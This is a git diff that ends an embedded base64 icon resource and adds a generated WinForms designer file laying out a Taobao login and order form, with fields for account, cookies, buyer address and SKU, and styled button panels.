/4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/TaobaoLoginForm.Designer.cs b/29WxOrder/TaobaoLoginForm.Designer.cs new file mode 100644 index 0000000..bdacefd --- /dev/null +++ b/29WxOrder/TaobaoLoginForm.Designer.cs @@ -0,0 +1,922 @@ +namespace FindGoldCatExploder +{ + partial class TaobaoLoginForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(TaobaoLoginForm)); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.lbltips = new System.Windows.Forms.Label(); + this.panelExpDetail = new DevComponents.DotNetBar.PanelEx(); + this.lblSkuImg = new System.Windows.Forms.Label(); + this.pictureBoxSku = new System.Windows.Forms.PictureBox(); + this.panelSavePath = new DevComponents.DotNetBar.PanelEx(); + this.panelNextOrder = new DevComponents.DotNetBar.PanelEx(); + this.panelOpenProUrl = new DevComponents.DotNetBar.PanelEx(); + this.panelLoginBuyer = new DevComponents.DotNetBar.PanelEx(); + this.panelCopy = new DevComponents.DotNetBar.PanelEx(); + this.panelPaySuccess = new DevComponents.DotNetBar.PanelEx(); + this.panelWwChat = new DevComponents.DotNetBar.PanelEx(); + this.txtTbCookies = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.lblTbCookiesPath = new System.Windows.Forms.Label(); + this.wwPictureBox = new System.Windows.Forms.PictureBox(); + this.SubOrderPictureBox = new System.Windows.Forms.PictureBox(); + this.lblSubOrderTips2 = new System.Windows.Forms.Label(); + this.lblSubOrderTips1 = new System.Windows.Forms.Label(); + this.lblNote = new System.Windows.Forms.Label(); + this.txtServiceNote = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.labelPrice = new System.Windows.Forms.Label(); + this.textBoxXPrice = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.leaveMessageTextBoxX = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.lblLeave = new System.Windows.Forms.Label(); + this.lblPayCuccessTips = new System.Windows.Forms.Label(); + this.skuComboBoxEx = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.buyCountTextBoxX = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.lblbuyCount = new System.Windows.Forms.Label(); + this.lblsku = new System.Windows.Forms.Label(); + this.expressNoTextBoxX = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.lblExpressNo = new System.Windows.Forms.Label(); + this.addressTextBoxX = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.lblAddress = new System.Windows.Forms.Label(); + this.mobileTextBoxX = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.lblmobile = new System.Windows.Forms.Label(); + this.userNameTextBoxX = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.lblUserName = new System.Windows.Forms.Label(); + this.panelFresh = new DevComponents.DotNetBar.PanelEx(); + this.txtPwd = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.txtAcc = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.userComboBoxTaoBao = new System.Windows.Forms.ComboBox(); + this.panelLogin = new DevComponents.DotNetBar.PanelEx(); + this.panelAddUpProId = new DevComponents.DotNetBar.PanelEx(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.panelDelTwo = new DevComponents.DotNetBar.PanelEx(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBoxSku)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.wwPictureBox)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.SubOrderPictureBox)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.BackColor = System.Drawing.Color.White; + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.BackColor = System.Drawing.Color.White; + this.splitContainer1.Panel2.Controls.Add(this.lbltips); + this.splitContainer1.Panel2.Controls.Add(this.panelExpDetail); + this.splitContainer1.Panel2.Controls.Add(this.lblSkuImg); + this.splitContainer1.Panel2.Controls.Add(this.pictureBoxSku); + this.splitContainer1.Panel2.Controls.Add(this.panelSavePath); + this.splitContainer1.Panel2.Controls.Add(this.panelNextOrder); + this.splitContainer1.Panel2.Controls.Add(this.panelOpenProUrl); + this.splitContainer1.Panel2.Controls.Add(this.panelLoginBuyer); + this.splitContainer1.Panel2.Controls.Add(this.panelCopy); + this.splitContainer1.Panel2.Controls.Add(this.panelPaySuccess); + this.splitContainer1.Panel2.Controls.Add(this.panelWwChat); + this.splitContainer1.Panel2.Controls.Add(this.txtTbCookies); + this.splitContainer1.Panel2.Controls.Add(this.lblTbCookiesPath); + this.splitContainer1.Panel2.Controls.Add(this.wwPictureBox); + this.splitContainer1.Panel2.Controls.Add(this.SubOrderPictureBox); + this.splitContainer1.Panel2.Controls.Add(this.lblSubOrderTips2); + this.splitContainer1.Panel2.Controls.Add(this.lblSubOrderTips1); + this.splitContainer1.Panel2.Controls.Add(this.lblNote); + this.splitContainer1.Panel2.Controls.Add(this.txtServiceNote); + this.splitContainer1.Panel2.Controls.Add(this.labelPrice); + this.splitContainer1.Panel2.Controls.Add(this.textBoxXPrice); + this.splitContainer1.Panel2.Controls.Add(this.leaveMessageTextBoxX); + this.splitContainer1.Panel2.Controls.Add(this.lblLeave); + this.splitContainer1.Panel2.Controls.Add(this.lblPayCuccessTips); + this.splitContainer1.Panel2.Controls.Add(this.skuComboBoxEx); + this.splitContainer1.Panel2.Controls.Add(this.buyCountTextBoxX); + this.splitContainer1.Panel2.Controls.Add(this.lblbuyCount); + this.splitContainer1.Panel2.Controls.Add(this.lblsku); + this.splitContainer1.Panel2.Controls.Add(this.expressNoTextBoxX); + this.splitContainer1.Panel2.Controls.Add(this.lblExpressNo); + this.splitContainer1.Panel2.Controls.Add(this.addressTextBoxX); + this.splitContainer1.Panel2.Controls.Add(this.lblAddress); + this.splitContainer1.Panel2.Controls.Add(this.mobileTextBoxX); + this.splitContainer1.Panel2.Controls.Add(this.lblmobile); + this.splitContainer1.Panel2.Controls.Add(this.userNameTextBoxX); + this.splitContainer1.Panel2.Controls.Add(this.lblUserName); + this.splitContainer1.Size = new System.Drawing.Size(1120, 747); + this.splitContainer1.SplitterDistance = 713; + this.splitContainer1.TabIndex = 0; + // + // lbltips + // + this.lbltips.AutoSize = true; + this.lbltips.ForeColor = System.Drawing.Color.Red; + this.lbltips.Location = new System.Drawing.Point(17, 8); + this.lbltips.Name = "lbltips"; + this.lbltips.Size = new System.Drawing.Size(305, 12); + this.lbltips.TabIndex = 491; + this.lbltips.Text = "当订单已发货可点击下方\"查看物流\"按钮到物流信息页面"; + this.lbltips.Visible = false; + // + // panelExpDetail + // + this.panelExpDetail.CanvasColor = System.Drawing.SystemColors.Control; + this.panelExpDetail.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelExpDetail.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelExpDetail.DisabledBackColor = System.Drawing.Color.Empty; + this.panelExpDetail.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelExpDetail.Location = new System.Drawing.Point(283, 28); + this.panelExpDetail.Name = "panelExpDetail"; + this.panelExpDetail.Size = new System.Drawing.Size(62, 21); + this.panelExpDetail.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelExpDetail.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelExpDetail.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.panelExpDetail.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelExpDetail.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelExpDetail.Style.CornerDiameter = 1; + this.panelExpDetail.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelExpDetail.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.panelExpDetail.Style.GradientAngle = 90; + this.panelExpDetail.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelExpDetail.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelExpDetail.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelExpDetail.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelExpDetail.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelExpDetail.TabIndex = 463; + this.panelExpDetail.Text = "查看物流"; + this.panelExpDetail.Visible = false; + this.panelExpDetail.Click += new System.EventHandler(this.panelExpDetail_Click); + // + // lblSkuImg + // + this.lblSkuImg.AutoSize = true; + this.lblSkuImg.Location = new System.Drawing.Point(15, 511); + this.lblSkuImg.Name = "lblSkuImg"; + this.lblSkuImg.Size = new System.Drawing.Size(59, 12); + this.lblSkuImg.TabIndex = 435; + this.lblSkuImg.Text = "SKU图片:"; + // + // pictureBoxSku + // + this.pictureBoxSku.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.pictureBoxSku.Location = new System.Drawing.Point(85, 511); + this.pictureBoxSku.Name = "pictureBoxSku"; + this.pictureBoxSku.Size = new System.Drawing.Size(158, 150); + this.pictureBoxSku.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pictureBoxSku.TabIndex = 434; + this.pictureBoxSku.TabStop = false; + // + // panelSavePath + // + this.panelSavePath.CanvasColor = System.Drawing.SystemColors.Control; + this.panelSavePath.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelSavePath.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelSavePath.DisabledBackColor = System.Drawing.Color.Empty; + this.panelSavePath.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelSavePath.Location = new System.Drawing.Point(326, 484); + this.panelSavePath.Name = "panelSavePath"; + this.panelSavePath.Size = new System.Drawing.Size(38, 21); + this.panelSavePath.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelSavePath.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelSavePath.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.panelSavePath.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelSavePath.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelSavePath.Style.CornerDiameter = 1; + this.panelSavePath.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelSavePath.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.panelSavePath.Style.GradientAngle = 90; + this.panelSavePath.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelSavePath.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelSavePath.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelSavePath.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelSavePath.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelSavePath.TabIndex = 409; + this.panelSavePath.Text = "保存"; 